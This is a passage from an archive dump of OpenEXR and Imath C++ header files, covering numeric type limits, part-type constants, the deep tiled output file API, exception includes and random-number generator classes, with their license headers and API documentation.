offset the sample count array // yOffsetForSampleCount, and the base array. // xOffsetForData, // yOffsetForData // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // type the pixel data type in the frame buffer // and in the output file's channel (function // copyFromFrameBuffer() doesn't do on-the-fly // data type conversion) // IMF_EXPORT void copyFromDeepFrameBuffer (char *& writePtr, const char * base, char* sampleCountBase, ptrdiff_t sampleCountXStride, ptrdiff_t sampleCountYStride, int y, int xMin, int xMax, int xOffsetForSampleCount, int yOffsetForSampleCount, int xOffsetForData, int yOffsetForData, ptrdiff_t sampleStride, ptrdiff_t xStrideForData, ptrdiff_t yStrideForData, Compressor::Format format, PixelType type); // // Fill part of an output file's line buffer or tile buffer with // zeroes. This routine is called when an output file contains // a channel for which the frame buffer contains no corresponding // slice. // // writePtr initially points to the beginning of the // data in the line or tile buffer. When // fillChannelWithZeroes() returns, writePtr // points just past the end of the zeroed // data. // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // type the pixel data type in the line or frame buffer. // // xSize number of pixels to be filled with zeroes. // IMF_EXPORT void fillChannelWithZeroes (char *&writePtr, Compressor::Format format, PixelType type, size_t xSize); IMF_EXPORT bool usesLongNames (const Header &header); // // compute size of chunk offset table - if ignore_attribute set to true // will compute from the image size and layout, rather than the attribute // The default behaviour is to read the attribute // IMF_EXPORT int getChunkOffsetTableSize(const Header& header,bool ignore_attribute=false); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathLimits.h 0000644 00000017416 15246445047 0010445 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHLIMITS_H #define INCLUDED_IMATHLIMITS_H //---------------------------------------------------------------- // // Limitations of the basic C++ numerical data types // //---------------------------------------------------------------- #include "ImathNamespace.h" #include <float.h> #include <limits.h> //------------------------------------------ // In Windows, min and max are macros. Yay. //------------------------------------------ #if defined _WIN32 || defined _WIN64 #ifdef min #undef min #endif #ifdef max #undef max #endif #endif IMATH_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------------------------------- // // Template class limits<T> returns information about the limits // of numerical data type T: // // min() largest possible negative value of type T // // max() largest possible positive value of type T // // smallest() smallest possible positive value of type T // (for float and double: smallest normalized // positive value) // // epsilon() smallest possible e of type T, for which // 1 + e != 1 // // isIntegral() returns true if T is an integral type // // isSigned() returns true if T is signed // // Class limits<T> is useful to implement template classes or // functions which depend on the limits of a numerical type // which is not known in advance; for example: // // template <class T> max (T x[], int n) // { // T m = limits<T>::min(); // // for (int i = 0; i < n; i++) // if (m < x[i]) // m = x[i]; // // return m; // } // // Class limits<T> has been implemented for the following types: // // char, signed char, unsigned char // short, unsigned short // int, unsigned int // long, unsigned long // float // double // long double // // Class limits<T> has only static member functions, all of which // are implemented as inlines. No objects of type limits<T> are // ever created. // //----------------------------------------------------------------- template <class T> struct limits { static T min(); static T max(); static T smallest(); static T epsilon(); static bool isIntegral(); static bool isSigned(); }; //--------------- // Implementation //--------------- template <> struct limits <char> { static char min() {return CHAR_MIN;} static char max() {return CHAR_MAX;} static char smallest() {return 1;} static char epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return (char) ~0 < 0;} }; template <> struct limits <signed char> { static signed char min() {return SCHAR_MIN;} static signed char max() {return SCHAR_MAX;} static signed char smallest() {return 1;} static signed char epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return true;} }; template <> struct limits <unsigned char> { static unsigned char min() {return 0;} static unsigned char max() {return UCHAR_MAX;} static unsigned char smallest() {return 1;} static unsigned char epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return false;} }; template <> struct limits <short> { static short min() {return SHRT_MIN;} static short max() {return SHRT_MAX;} static short smallest() {return 1;} static short epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return true;} }; template <> struct limits <unsigned short> { static unsigned short min() {return 0;} static unsigned short max() {return USHRT_MAX;} static unsigned short smallest() {return 1;} static unsigned short epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return false;} }; template <> struct limits <int> { static int min() {return INT_MIN;} static int max() {return INT_MAX;} static int smallest() {return 1;} static int epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return true;} }; template <> struct limits <unsigned int> { static unsigned int min() {return 0;} static unsigned int max() {return UINT_MAX;} static unsigned int smallest() {return 1;} static unsigned int epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return false;} }; template <> struct limits <long> { static long min() {return LONG_MIN;} static long max() {return LONG_MAX;} static long smallest() {return 1;} static long epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return true;} }; template <> struct limits <unsigned long> { static unsigned long min() {return 0;} static unsigned long max() {return ULONG_MAX;} static unsigned long smallest() {return 1;} static unsigned long epsilon() {return 1;} static bool isIntegral() {return true;} static bool isSigned() {return false;} }; template <> struct limits <float> { static float min() {return -FLT_MAX;} static float max() {return FLT_MAX;} static float smallest() {return FLT_MIN;} static float epsilon() {return FLT_EPSILON;} static bool isIntegral() {return false;} static bool isSigned() {return true;} }; template <> struct limits <double> { static double min() {return -DBL_MAX;} static double max() {return DBL_MAX;} static double smallest() {return DBL_MIN;} static double epsilon() {return DBL_EPSILON;} static bool isIntegral() {return false;} static bool isSigned() {return true;} }; template <> struct limits <long double> { static long double min() {return -LDBL_MAX;} static long double max() {return LDBL_MAX;} static long double smallest() {return LDBL_MIN;} static long double epsilon() {return LDBL_EPSILON;} static bool isIntegral() {return false;} static bool isSigned() {return true;} }; IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHLIMITS_H OpenEXR/ImfPartType.h 0000644 00000004606 15246445047 0010422 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFPARTTYPE_H_ #define IMFPARTTYPE_H_ #include <string> #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER const std::string SCANLINEIMAGE = "scanlineimage"; const std::string TILEDIMAGE = "tiledimage"; const std::string DEEPSCANLINE = "deepscanline"; const std::string DEEPTILE = "deeptile"; IMF_EXPORT bool isImage(const std::string& name); IMF_EXPORT bool isTiled(const std::string& name); IMF_EXPORT bool isDeepData(const std::string& name); IMF_EXPORT bool isSupportedType(const std::string& name); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFPARTTYPE_H_ */ OpenEXR/ImathGLU.h 0000644 00000004256 15246445047 0007631 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHGLU_H #define INCLUDED_IMATHGLU_H #include <GL/gl.h> #include <GL/glu.h> #include "ImathVec.h" inline void gluLookAt(const IMATH_INTERNAL_NAMESPACE::V3f &pos, const IMATH_INTERNAL_NAMESPACE::V3f &interest, const IMATH_INTERNAL_NAMESPACE::V3f &up) { gluLookAt(pos.x, pos.y, pos.z, interest.x, interest.y, interest.z, up.x, up.y, up.z); } #endif OpenEXR/ImfDeepTiledOutputFile.h 0000644 00000044142 15246445047 0012531 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEP_TILED_OUTPUT_FILE_H #define INCLUDED_IMF_DEEP_TILED_OUTPUT_FILE_H //----------------------------------------------------------------------------- // // class DeepTiledOutputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImathBox.h" #include "ImfThreading.h" #include "ImfGenericOutputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepTiledOutputFile : public GenericOutputFile { public: //------------------------------------------------------------------- // A constructor that opens the file with the specified name, and // writes the file header. The file header is also copied into the // TiledOutputFile object, and can later be accessed via the header() // method. // // Destroying TiledOutputFile constructed with this constructor // automatically closes the corresponding files. // // The header must contain a TileDescriptionAttribute called "tiles". // // The x and y subsampling factors for all image channels must be 1; // subsampling is not supported. // // Tiles can be written to the file in arbitrary order. The line // order attribute can be used to cause the tiles to be sorted in // the file. When the file is read later, reading the tiles in the // same order as they are in the file tends to be significantly // faster than reading the tiles in random order (see writeTile, // below). //------------------------------------------------------------------- DeepTiledOutputFile (const char fileName[], const Header &header, int numThreads = globalThreadCount ()); // ---------------------------------------------------------------- // A constructor that attaches the new TiledOutputFile object to // a file that has already been opened. Destroying TiledOutputFile // objects constructed with this constructor does not automatically // close the corresponding files. // ---------------------------------------------------------------- DeepTiledOutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, int numThreads = globalThreadCount ()); //----------------------------------------------------- // Destructor // // Destroying a TiledOutputFile object before all tiles // have been written results in an incomplete file. //----------------------------------------------------- virtual ~DeepTiledOutputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the TiledOutputFile object. // // The current frame buffer is the source of the pixel // data written to the file. The current frame buffer // must be set at least once before writeTile() is // called. The current frame buffer can be changed // after each call to writeTile(). //------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //------------------- // Utility functions: //------------------- //--------------------------------------------------------- // Multiresolution mode and tile size: // The following functions return the xSize, ySize and mode // fields of the file header's TileDescriptionAttribute. //--------------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; //-------------------------------------------------------------------- // Number of levels: // // numXLevels() returns the file's number of levels in x direction. // // if levelMode() == ONE_LEVEL: // return value is: 1 // // if levelMode() == MIPMAP_LEVELS: // return value is: rfunc (log (max (w, h)) / log (2)) + 1 // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (w) / log (2)) + 1 // // where // w is the width of the image's data window, max.x - min.x + 1, // y is the height of the image's data window, max.y - min.y + 1, // and rfunc(x) is either floor(x), or ceil(x), depending on // whether levelRoundingMode() returns ROUND_DOWN or ROUND_UP. // // numYLevels() returns the file's number of levels in y direction. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (h) / log (2)) + 1 // // // numLevels() is a convenience function for use with MIPMAP_LEVELS // files. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // an IEX_NAMESPACE::LogicExc exception is thrown // // isValidLevel(lx, ly) returns true if the file contains // a level with level number (lx, ly), false if not. // //-------------------------------------------------------------------- int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; //--------------------------------------------------------- // Dimensions of a level: // // levelWidth(lx) returns the width of a level with level // number (lx, *), where * is any number. // // return value is: // max (1, rfunc (w / pow (2, lx))) // // // levelHeight(ly) returns the height of a level with level // number (*, ly), where * is any number. // // return value is: // max (1, rfunc (h / pow (2, ly))) // //--------------------------------------------------------- int levelWidth (int lx) const; int levelHeight (int ly) const; //---------------------------------------------------------- // Number of tiles: // // numXTiles(lx) returns the number of tiles in x direction // that cover a level with level number (lx, *), where * is // any number. // // return value is: // (levelWidth(lx) + tileXSize() - 1) / tileXSize() // // // numYTiles(ly) returns the number of tiles in y direction // that cover a level with level number (*, ly), where * is // any number. // // return value is: // (levelHeight(ly) + tileXSize() - 1) / tileXSize() // //---------------------------------------------------------- int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; //--------------------------------------------------------- // Level pixel ranges: // // dataWindowForLevel(lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a level with // level number (lx, ly) // // return value is a Box2i with min value: // (dataWindow.min.x, dataWindow.min.y) // // and max value: // (dataWindow.min.x + levelWidth(lx) - 1, // dataWindow.min.y + levelHeight(ly) - 1) // // dataWindowForLevel(level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForLevel(level, level). // //--------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; //------------------------------------------------------------------- // Tile pixel ranges: // // dataWindowForTile(dx, dy, lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a tile with tile coordinates // (dx,dy) and level number (lx, ly). // // return value is a Box2i with min value: // (dataWindow.min.x + dx * tileXSize(), // dataWindow.min.y + dy * tileYSize()) // // and max value: // (dataWindow.min.x + (dx + 1) * tileXSize() - 1, // dataWindow.min.y + (dy + 1) * tileYSize() - 1) // // dataWindowForTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForTile(dx, dy, level, level). // //------------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------------ // Write pixel data: // // writeTile(dx, dy, lx, ly) writes the tile with tile // coordinates (dx, dy), and level number (lx, ly) to // the file. // // dx must lie in the interval [0, numXTiles(lx) - 1] // dy must lie in the interval [0, numYTiles(ly) - 1] // // lx must lie in the interval [0, numXLevels() - 1] // ly must lie in the inverval [0, numYLevels() - 1] // // writeTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVEL files. It calls // writeTile(dx, dy, level, level). // // The two writeTiles(dx1, dx2, dy1, dy2, ...) functions allow // writing multiple tiles at once. If multi-threading is used // multiple tiles are written concurrently. The tile coordinates, // dx1, dx2 and dy1, dy2, specify inclusive ranges of tile // coordinates. It is valid for dx1 < dx2 or dy1 < dy2; the // tiles are always written in the order specified by the line // order attribute. Hence, it is not possible to specify an // "invalid" or empty tile range. // // Pixels that are outside the pixel coordinate range for the tile's // level, are never accessed by writeTile(). // // Each tile in the file must be written exactly once. // // The file's line order attribute determines the order of the tiles // in the file: // // INCREASING_Y In the file, the tiles for each level are stored // in a contiguous block. The levels are ordered // like this: // // (0, 0) (1, 0) ... (nx-1, 0) // (0, 1) (1, 1) ... (nx-1, 1) // ... // (0,ny-1) (1,ny-1) ... (nx-1,ny-1) // // where nx = numXLevels(), and ny = numYLevels(). // In an individual level, (lx, ly), the tiles // are stored in the following order: // // (0, 0) (1, 0) ... (tx-1, 0) // (0, 1) (1, 1) ... (tx-1, 1) // ... // (0,ty-1) (1,ty-1) ... (tx-1,ty-1) // // where tx = numXTiles(lx), // and ty = numYTiles(ly). // // DECREASING_Y As for INCREASING_Y, the tiles for each level // are stored in a contiguous block. The levels // are ordered the same way as for INCREASING_Y, // but within an individual level, the tiles // are stored in this order: // // (0,ty-1) (1,ty-1) ... (tx-1,ty-1) // ... // (0, 1) (1, 1) ... (tx-1, 1) // (0, 0) (1, 0) ... (tx-1, 0) // // // RANDOM_Y The order of the calls to writeTile() determines // the order of the tiles in the file. // //------------------------------------------------------------------ void writeTile (int dx, int dy, int l = 0); void writeTile (int dx, int dy, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); //------------------------------------------------------------------ // Shortcut to copy all pixels from a TiledInputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the TiledInputFile's // header: The two header's "dataWindow", "compression", // "lineOrder", "channels", and "tiles" attributes must be the same. //------------------------------------------------------------------ void copyPixels (DeepTiledInputFile &in); void copyPixels (DeepTiledInputPart &in); //-------------------------------------------------------------- // Updating the preview image: // // updatePreviewImage() supplies a new set of pixels for the // preview image attribute in the file's header. If the header // does not contain a preview image, updatePreviewImage() throws // an IEX_NAMESPACE::LogicExc. // // Note: updatePreviewImage() is necessary because images are // often stored in a file incrementally, a few tiles at a time, // while the image is being generated. Since the preview image // is an attribute in the file's header, it gets stored in the // file as soon as the file is opened, but we may not know what // the preview image should look like until we have written the // last tile of the main image. // //-------------------------------------------------------------- void updatePreviewImage (const PreviewRgba newPixels[]); //------------------------------------------------------------- // Break a tile -- for testing and debugging only: // // breakTile(dx,dy,lx,ly,p,n,c) introduces an error into the // output file by writing n copies of character c, starting // p bytes from the beginning of the tile with tile coordinates // (dx, dy) and level number (lx, ly). // // Warning: Calling this function usually results in a broken // image file. The file or parts of it may not be readable, // or the file may contain bad data. // //------------------------------------------------------------- void breakTile (int dx, int dy, int lx, int ly, int offset, int length, char c); struct Data; private: // ---------------------------------------------------------------- // A constructor attaches the OutputStreamMutex to the // given one from MultiPartOutputFile. Set the previewPosition // and lineOffsetsPosition which have been acquired from // the constructor of MultiPartOutputFile as well. // ---------------------------------------------------------------- DeepTiledOutputFile (const OutputPartData* part); DeepTiledOutputFile (const DeepTiledOutputFile &); // not implemented DeepTiledOutputFile & operator = (const DeepTiledOutputFile &); // not implemented void initialize (const Header &header); bool isValidTile (int dx, int dy, int lx, int ly) const; size_t bytesPerLineForTile (int dx, int dy, int lx, int ly) const; Data * _data; friend class MultiPartOutputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/Iex.h 0000644 00000004534 15246445047 0006743 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEX_H #define INCLUDED_IEX_H //-------------------------------- // // Exception handling // //-------------------------------- #include "IexMacros.h" #include "IexBaseExc.h" #include "IexMathExc.h" #include "IexThrowErrnoExc.h" // Note that we do not include file IexErrnoExc.h here. That file // defines over 150 classes and significantly slows down compilation. // If you throw ErrnoExc exceptions using the throwErrnoExc() function, // you don't need IexErrnoExc.h. You have to include IexErrnoExc.h // only if you want to catch specific subclasses of ErrnoExc. #endif OpenEXR/ImathRandom.h 0000644 00000023541 15246445047 0010420 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHRANDOM_H #define INCLUDED_IMATHRANDOM_H //----------------------------------------------------------------------------- // // Generators for uniformly distributed pseudo-random numbers and // functions that use those generators to generate numbers with // non-uniform distributions: // // class Rand32 // class Rand48 // solidSphereRand() // hollowSphereRand() // gaussRand() // gaussSphereRand() // // Note: class Rand48() calls erand48() and nrand48(), which are not // available on all operating systems. For compatibility we include // our own versions of erand48() and nrand48(). Our functions have // been reverse-engineered from the corresponding Unix/Linux man page. // //----------------------------------------------------------------------------- #include "ImathNamespace.h" #include "ImathExport.h" #include <stdlib.h> #include <math.h> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------------- // Fast random-number generator that generates // a uniformly distributed sequence with a period // length of 2^32. //----------------------------------------------- class IMATH_EXPORT Rand32 { public: //------------ // Constructor //------------ Rand32 (unsigned long int seed = 0); //-------------------------------- // Re-initialize with a given seed //-------------------------------- void init (unsigned long int seed); //---------------------------------------------------------- // Get the next value in the sequence (range: [false, true]) //---------------------------------------------------------- bool nextb (); //--------------------------------------------------------------- // Get the next value in the sequence (range: [0 ... 0xffffffff]) //--------------------------------------------------------------- unsigned long int nexti (); //------------------------------------------------------ // Get the next value in the sequence (range: [0 ... 1[) //------------------------------------------------------ float nextf (); //------------------------------------------------------------------- // Get the next value in the sequence (range [rangeMin ... rangeMax[) //------------------------------------------------------------------- float nextf (float rangeMin, float rangeMax); private: void next (); unsigned long int _state; }; //-------------------------------------------------------- // Random-number generator based on the C Standard Library // functions erand48(), nrand48() & company; generates a // uniformly distributed sequence. //-------------------------------------------------------- class Rand48 { public: //------------ // Constructor //------------ Rand48 (unsigned long int seed = 0); //-------------------------------- // Re-initialize with a given seed //-------------------------------- void init (unsigned long int seed); //---------------------------------------------------------- // Get the next value in the sequence (range: [false, true]) //---------------------------------------------------------- bool nextb (); //--------------------------------------------------------------- // Get the next value in the sequence (range: [0 ... 0x7fffffff]) //--------------------------------------------------------------- long int nexti (); //------------------------------------------------------ // Get the next value in the sequence (range: [0 ... 1[) //------------------------------------------------------ double nextf (); //------------------------------------------------------------------- // Get the next value in the sequence (range [rangeMin ... rangeMax[) //------------------------------------------------------------------- double nextf (double rangeMin, double rangeMax); private: unsigned short int _state[3]; }; //------------------------------------------------------------ // Return random points 